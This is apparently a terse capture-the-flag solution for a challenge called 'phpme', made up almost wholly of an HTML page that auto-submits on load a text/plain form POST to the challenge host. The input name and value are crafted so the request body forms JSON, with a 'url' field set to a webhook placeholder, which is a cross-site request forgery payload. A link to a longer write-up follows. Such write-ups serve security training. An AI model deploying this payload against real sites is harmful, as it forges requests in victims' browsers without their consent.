**TL;DR**
```html<body onload="document.frm.submit()"> <form name="frm" enctype='text/plain' action="https://phpme.be.ax/" method="post">   <input name='{"yep": "yep yep yep", "url": "webhook", "trash": "' value='"}'>   <input type="submit" value="Submit"> </form></body>```
https://spicy-walnut-eb5.notion.site/phpme-e0fce750ec8a4874b660a293db1754c5